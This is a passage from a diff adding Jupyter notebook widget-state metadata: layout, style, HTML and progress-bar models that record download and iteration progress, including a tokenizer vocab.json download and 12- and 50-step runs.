+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4ac86feba0924fad8c82be426d774ce4",
+              "IPY_MODEL_379e92c07edc4ad28165c8b0926746d5",
+              "IPY_MODEL_a144d82a835e4d48b987fecd5af96b6c"
+            ],
+            "layout": "IPY_MODEL_fc3fc7c8bb714f39a67963f2792b527d"
+          }
+        },
+        "8924eb6712b146bd977f21c46531338b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ede27ca6747240eeb41a9dbde664e8a7",
+              "IPY_MODEL_45ed824c2cd746c09e61dc8a2bdd3384",
+              "IPY_MODEL_3f94af984ba84b838643b03caf8d2d4e"
+            ],
+            "layout": "IPY_MODEL_2e9985de92164304b5b4c8b723d24cf1"
+          }
+        },
+        "8ae0743d19d74e3aabfe4b5ba54fd7ca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0072680043674280bcde9c4bc19b3704",
+              "IPY_MODEL_13e357cba1ee4e31887f2c260f2cea15",
+              "IPY_MODEL_41c2930f406d484ca7e1e8a4c13f9b35"
+            ],
+            "layout": "IPY_MODEL_0468827f86394f7baf78d44264a225e7"
+          }
+        },
+        "8bef2ecbcbcf4ad1bb5e495a52ca2aa6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_62924d5b19784abcaa672d995fc15127",
+            "placeholder": "​",
+            "style": "IPY_MODEL_833477c7e6144deba2f9a7e1e3fb7c12",
+            "value": " 511/511 [00:00&lt;00:00, 11.2kB/s]"
+          }
+        },
+        "9307ea294e42484eb32d8b07fddd33dd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b02317ef6e514fa9b2c58c64e7702533",
+            "placeholder": "​",
+            "style": "IPY_MODEL_df83f20f558f43b9bf1e447316e9de4a",
+            "value": "Downloading (…)tokenizer/vocab.json: 100%"
+          }
+        },
+        "9512cb52fe3a44d0bd0f52daed6139d9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_de35fccd4b4a433e8b468ef3981bede9",
+              "IPY_MODEL_ff35f85d2db0404da5e01fbda308197a",
+              "IPY_MODEL_221469404d3946f39b4c97e708385b88"
+            ],
+            "layout": "IPY_MODEL_1d6c6e3129bc4702afae1facf2b8ba6b"
+          }
+        },
+        "98eab664cdee4999bb09af5abe60535f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "99777597ceee470ca8c8a34f4846435a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9984e9b0a929433ab6e4501538a60c80": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9a2aa30940934458ae53131db74a7406": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9ac0da7a10a54fbe897b21184cdf154f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_faa6428f4b7b4cb996cc4d5ca9bcb38c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b4f99623a96f4d18989cf117b4c91660",
+            "value": " 341/341 [00:00&lt;00:00, 3.56kB/s]"
+          }
+        },
+        "9c751e805d96415d9608c2422906d76e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9e1a5419468d4549a38b8d23aa14f6d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a144d82a835e4d48b987fecd5af96b6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d78921386a5b493ab86718077b16a945",
+            "placeholder": "​",
+            "style": "IPY_MODEL_42ad2fe1e9ee44dcb9d3b7c6af9a87a1",
+            "value": " 12/12 [00:16&lt;00:00,  1.91s/it]"
+          }
+        },
+        "a432cb1a0bc7418bb90248973e91c452": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a509f68381854d7da52a21dde99a9f62": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1cfa604ca2924c25930887b466ac3e9b",
+            "max": 1059962,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_26aac0b253ba4e2e8f19acfa0bead5a7",
+            "value": 1059962
+          }
+        },
+        "a99edd082dff4f928c3b75abf84ec0ec": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ac3ea0ea867b4c30bd4be87aaa602d42": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ad2f2fd194ac4bca909e5af122370e3d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ad3538e88909423a9a8d109bd97745a5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_caf7f52d17334c0ea9141fb27dbb5bd1",
+            "max": 807,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3634354fd978434bbad0fd11d3e0b5fb",
+            "value": 807
+          }
+        },
+        "af474aa6c91344da9a968e7e2488b74c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_69faef33b09f4da7b1c11639102b2a4f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_87d35ca268744638ad484ccf1a7fe2ed",
+            "value": " 50/50 [00:29&lt;00:00,  1.65it/s]"
+          }
+        },
+        "b02317ef6e514fa9b2c58c64e7702533": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b4f99623a96f4d18989cf117b4c91660": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b63595513fec4e81a0a8200294faf7ba": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b75a2474c46f4f3b9d84cb981bfffac7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bc42d1c7cdcd4064a1dbcc3eb1f3009b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bf0a27e1f6f3454fafa2bb04a16e4ba6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c6305a1adcd946d2a4c66c05e614bcf1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f369cc94c2544de3acdbcd35cac6d393",
+            "max": 50,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_0bec42769e7e4492aedd4afb63a91ff3",
+            "value": 50
+          }
+        },
+        "c79ef9b35d014fdfb9f88fc09e870d01": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c99c614b55ba44fbb2927642128fba9b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ca063f5b64d74bc9be303eebe7092f81": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "caf7f52d17334c0ea9141fb27dbb5bd1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cb68043195a642b3a495d82d87ffd1b8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_597a8eacf00b406ab23af333aea97e3c",
+            "max": 577,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_20396dbdc36b47538a5fd6b522478b67",
+            "value": 577
+          }
+        },
+        "cbcfc8e9b02348a182722c846cecca2a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ce3ebc0beb214d9b9df35c37eff91505": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
